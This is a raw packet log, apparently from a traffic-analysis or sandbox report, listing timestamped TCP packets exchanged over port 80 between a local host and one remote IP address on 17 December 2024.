Dec 17, 2024 08:03:10.301574945 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.389426947 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.389516115 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.389561892 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.390173912 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.390238047 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.391185045 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.391892910 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.391946077 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.391952038 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.391993046 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.393156052 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.393192053 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.393218040 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.393249035 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.394634962 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.394690037 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.394772053 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.394831896 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.396123886 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.396176100 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.396178961 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.396239042 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.397586107 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.397690058 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.397691965 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.397735119 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.399051905 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.399112940 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.399166107 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.399220943 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.400504112 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.400557041 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.400558949 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.400604963 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.401868105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.401904106 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.401922941 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.401948929 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.403281927 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.403351068 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.403435946 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.403486967 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.404627085 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.404684067 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.404771090 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.404825926 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.406006098 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.406055927 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.406105995 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.406157017 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.407435894 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.407486916 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.407500982 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.407551050 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.408920050 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.408973932 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.409046888 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.409100056 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.410042048 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.410094976 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.410214901 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.410268068 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.411400080 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.411452055 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.411464930 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.411514997 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.412720919 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.412776947 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.412902117 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.412952900 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.414025068 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.414102077 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.414222956 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.414278984 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.415358067 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.415417910 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.415441990 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.415497065 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.416626930 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.416681051 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.416692972 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.416737080 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.417910099 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.418023109 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.418065071 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.418118954 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.419181108 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.419243097 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.419286013 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.419349909 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.420425892 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.420485973 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.420557022 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.420614958 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.421663046 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.421739101 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.421825886 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.421880007 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.422923088 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.422981024 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.423043966 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.423110962 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.424177885 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.424226999 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.424293041 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.424359083 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.425420046 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.425477028 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.425550938 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.425605059 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.426697016 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.426752090 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.426789045 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.426845074 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.427891970 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.427947998 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.428033113 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.428088903 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.429207087 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.429270029 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.429322004 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.429372072 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.430418015 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.430479050 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.430592060 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.430646896 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.431655884 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.431714058 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.431778908 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.431827068 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.432899952 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.432950020 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.433011055 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.433064938 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.434370995 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.434406042 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.434429884 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.434459925 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.435411930 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.435470104 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.435508013 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.435564041 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.436774969 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.436831951 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.436899900 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.436953068 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.437870026 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.437926054 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.437997103 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.438098907 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.439135075 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.439207077 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.439275980 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.439354897 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.440362930 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.440418959 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.440484047 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.440546036 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.441612959 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.441663980 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.441732883 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.441781044 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.442862034 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.442915916 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.443090916 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.443154097 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.444175005 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.444237947 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.444310904 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.444370031 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.445357084 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.445422888 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.445475101 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.445549965 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.446573973 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.446635962 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.446698904 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.446752071 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.447858095 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.447911024 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.447978020 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.448029995 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.449095964 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.449152946 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.449208021 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.449264050 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.450326920 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.450378895 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.450450897 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.450485945 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.451581001 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.451639891 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.451702118 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.451761007 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.452811003 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.452867985 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.452924967 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.452985048 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.454082012 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.454142094 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.454196930 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.454252005 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.455291033 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.455351114 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.455415010 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.455467939 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.456655025 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.456712008 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.456872940 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.456928968 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.457792997 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.457844019 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.581593037 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.581640005 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.581690073 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.581690073 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.581963062 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.582017899 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.582104921 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.582154989 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.583019018 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.583080053 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.583205938 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.583262920 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.584023952 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.584084988 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.584153891 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.584208012 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.585053921 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.585113049 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.585161924 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.585215092 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.586091042 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.586149931 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.586169004 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.586221933 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.587110043 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.587167978 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.587218046 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.587270975 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.588138103 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.588196039 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.588216066 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.588268995 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.589122057 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.589179039 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.589251041 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.589303970 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.590176105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.590234041 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.590291023 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.590348005 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.591181993 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.591240883 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.591350079 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.591408968 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.592226028 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.592281103 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.592282057 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.592334032 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.594515085 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.594567060 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.595485926 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.595546007 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.596921921 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.596957922 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.596978903 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.597002983 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.597053051 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.597090006 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.597103119 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.597148895 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.597274065 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.597328901 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.597415924 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.597521067 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.598481894 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.598558903 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.598670959 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.598733902 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.599531889 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.599598885 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.599689007 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.599745989 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.600661039 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.600696087 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.600723982 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.600753069 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.601468086 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.601527929 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.601615906 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.601674080 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.602282047 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.602318048 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.602339029 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.602366924 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.602392912 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.602447033 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.602463961 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.602516890 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.603466988 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.603528976 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.603632927 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.603691101 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.604460955 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.604521990 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.605365038 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.605422974 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.608217001 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.608253002 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.608278990 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.608304024 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.608364105 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.608398914 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.608427048 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.608455896 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.608550072 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.608587027 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.608608007 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.608630896 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.609730005 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.609788895 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.609910011 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.609967947 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.610764980 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.610822916 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.610929012 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.610984087 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.611779928 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.611836910 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.611953020 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.612010002 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.612736940 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.612795115 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.612910032 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.612958908 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.613806009 CET	80	49822	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:10.613863945 CET	49822	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:10.613948107 CET	80	49822	31.41.244.11	192.168.2.5
